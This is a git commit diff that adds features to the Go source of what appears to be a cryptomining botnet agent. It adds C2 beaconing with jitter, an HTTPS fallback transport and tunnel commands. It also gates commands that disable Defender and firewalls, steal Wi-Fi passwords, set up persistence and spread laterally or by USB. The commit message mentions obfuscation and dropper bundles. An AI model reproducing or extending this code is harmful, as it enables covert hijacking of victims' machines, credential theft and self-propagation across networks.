fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
// Always available — read-only or Path Tracer config from server.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "mesh_status":
|
||||
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||
if c.handleTunnelCommand(action, command, path, data) {
|
||||
return true
|
||||
}
|
||||
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
}
|
||||
parts = append(parts, msg)
|
||||
}
|
||||
deploy.RemoveFirewallExclusionWindows(c.cfg)
|
||||
deploy.RemoveFirewallExclusion(c.cfg)
|
||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
||||
return true
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -53,6 +54,11 @@ type AgentClient struct {
|
||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
wsDownSince atomic.Value // stores time.Time
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
}
|
||||
|
||||
func (c *AgentClient) Run() error {
|
||||
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
|
||||
age := time.Since(c.cfg.BuiltAt)
|
||||
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
|
||||
if age >= limit {
|
||||
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
@@ -98,6 +113,7 @@ func (c *AgentClient) Run() error {
|
||||
if err := c.mesh.Start(); err != nil {
|
||||
log.Printf("[Mesh] Failed to start: %v", err)
|
||||
}
|
||||
defer c.mesh.Stop()
|
||||
}
|
||||
|
||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||
@@ -118,32 +134,76 @@ func (c *AgentClient) Run() error {
|
||||
serverURLs := buildServerURLList(c.cfg)
|
||||
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||
|
||||
urlIdx := 0
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
|
||||
probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
|
||||
|
||||
urlIdx := 0
|
||||
backoff, maxBackoff := c.reconnectBackoff()
|
||||
for {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
|
||||
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
|
||||
if err := c.beaconOnce(target); err != nil {
|
||||
log.Printf("[agent] beacon failed on %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
} else {
|
||||
c.sleepReconnect(c.beaconInterval())
|
||||
}
|
||||
}
|
||||
if err := c.connectLoop(target); err != nil {
|
||||
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
}
|
||||
// Advance to next URL so the next reconnect tries a different server
|
||||
urlIdx++
|
||||
if time.Since(start) > 10*time.Second {
|
||||
// Long-lived connection succeeded — reset backoff on the next attempt
|
||||
backoff = 5 * time.Second
|
||||
backoff, maxBackoff = c.reconnectBackoff()
|
||||
}
|
||||
time.Sleep(backoff)
|
||||
backoff += 5 * time.Second
|
||||
c.sleepReconnect(backoff)
|
||||
backoff += c.reconnectBackoffStep()
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
base := time.Duration(sec) * time.Second
|
||||
max := 60 * time.Second
|
||||
if base*12 > max {
|
||||
max = base * 12
|
||||
}
|
||||
return base, max
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoffStep() time.Duration {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (c *AgentClient) sleepReconnect(d time.Duration) {
|
||||
jitter := c.cfg.BeaconJitterPct
|
||||
if jitter > 0 {
|
||||
if jitter > 100 {
|
||||
jitter = 100
|
||||
}
|
||||
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
|
||||
d = time.Duration(float64(d) * factor)
|
||||
}
|
||||
time.Sleep(d)
|
||||
}
|
||||
|
||||
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||
seen := map[string]bool{}
|
||||
@@ -263,6 +323,8 @@ func (c *AgentClient) authenticate() error {
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -287,7 +349,8 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
_ = deploy.PersistAgentID(installDir, c.agentID)
|
||||
@@ -549,7 +612,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
go c.performUpgrade(data)
|
||||
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||
case "bof_execute":
|
||||
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
|
||||
default:
|
||||
if c.handleRegistryCommand(action, path, data) {
|
||||
return
|
||||
}
|
||||
if c.handleFileCommand(action, path) {
|
||||
return
|
||||
}
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
}
|
||||
@@ -563,9 +634,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
|
||||
"success": success,
|
||||
"message": message,
|
||||
})
|
||||
if c.beaconMode.Load() {
|
||||
c.postBeaconResult(payload)
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) wsDownSinceTime() time.Time {
|
||||
if v := c.wsDownSince.Load(); v != nil {
|
||||
if t, ok := v.(time.Time); ok {
|
||||
return t
|
||||
}
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
func (c *AgentClient) markWSDownSince() {
|
||||
if !c.wsDownSinceTime().IsZero() {
|
||||
return
|
||||
}
|
||||
c.wsDownSince.Store(time.Now())
|
||||
}
|
||||
|
||||
func (c *AgentClient) clearWSDownSince() {
|
||||
c.wsDownSince.Store(time.Time{})
|
||||
}
|
||||
|
||||
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pool.ResetHashCounter()
|
||||
cpuPct, memPct := c.reporter.Usage()
|
||||
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||
cpuPct = sysCPU
|
||||
}
|
||||
c.mu.Lock()
|
||||
submitted := c.sharesSubmitted
|
||||
accepted := c.sharesAccepted
|
||||
c.mu.Unlock()
|
||||
return StatsPayload{
|
||||
Hashrate15s: hps,
|
||||
Hashrate1m: hps,
|
||||
Hashrate15m: hps,
|
||||
SharesSubmitted: submitted,
|
||||
SharesAccepted: accepted,
|
||||
CPUUsagePct: cpuPct,
|
||||
MemoryUsagePct: memPct,
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) stopSelf() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
c.pool.Stop()
|
||||
|
||||
Reference in New Issue
Block a user